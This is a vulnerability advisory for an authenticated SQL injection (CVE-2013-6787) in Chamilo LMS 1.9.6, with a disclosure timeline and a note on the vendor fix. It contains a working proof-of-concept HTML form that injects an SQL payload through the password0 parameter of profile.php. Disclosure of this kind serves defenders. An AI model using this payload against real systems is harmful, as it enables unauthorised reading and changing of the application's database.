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SQL Injection in Chamilo LMS

Advisory ID:HTB23182
Product:Chamilo LMS
Vendor:Chamilo Association
Vulnerable Versions:1.9.6 and probably prior
Tested Version:1.9.6
Advisory Publication:November 6, 2013 [without technical details]
Vendor Notification:November 6, 2013
Vendor Fix:November 9, 2013
Public Disclosure:November 27, 2013
Latest Update:November 8, 2013
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2013-6787
Risk Level:Medium
CVSSv2 Base Score:6 (AV:N/AC:M/Au:S/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Chamilo LMS, which can be exploited to perform SQL Injection attacks.

1) SQL Injection in Chamilo LMS: CVE-2013-6787
The vulnerability exists due to insufficient validation of "password0" HTTP POST parameter passed to "/main/auth/profile.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database.
The following exploitation example displays version of MySQL server:
<form action="http://[host]/main/auth/profile.php" method="post" name="main">
<input type="hidden" name="password0" value="' OR substring(version(),1,1)=5 -- ">
<input type="hidden" name="password1" value="password">
<input type="hidden" name="password2" value="password">
<input type="hidden" name="apply_change" value="">
<input type="hidden" name="firstname" value="first_name">
<input type="hidden" name="lastname" value="last_name">
<input type="hidden" name="username" value="username">
<input type="hidden" name="official_code" value="USER">
<input type="hidden" name="phone" value="">
<input type="hidden" name="language" value="">
<input type="hidden" name="extra_mail_notify_invitation" value="">
<input type="hidden" name="extra_mail_notify_message" value="">
<input type="hidden" name="extra_mail_notify_group_message" value="">
<input type="hidden" name="_qf__profile" value="">
<input type="hidden" name="" value="">
<input type="submit" id="btn">
</form>

Successful exploitation of this vulnerability requires that the application is configured during installation not to encrypt users' passwords ("Encryption method" option is set to "none").

How to Detect SQL Injection Vulnerabilities
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Solution:
Edit the source code and apply changes according to vendor's instructions:.

More Information:
https://support.chamilo.org/projects/chamilo-18/wiki/Security_issues#Issue-10-2013-11-06-Moderate-risk-SQL-Injection-in-specific-unrecommended-case


References:
[1] High-Tech Bridge Advisory HTB23182 - https://www.immuniweb.com/advisory/HTB23182 - SQL Injection in Chamilo LMS.
[2] Chamilo LMS - http://www.chamilo.org/ - Chamilo aims at bringing you the best e-learning and collaboration platform in the open source world.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
Previous Security Advisories with CWE-89:

HTB23181: SQL Injection in Dokeos

HTB23177: SQL Injection in appRain


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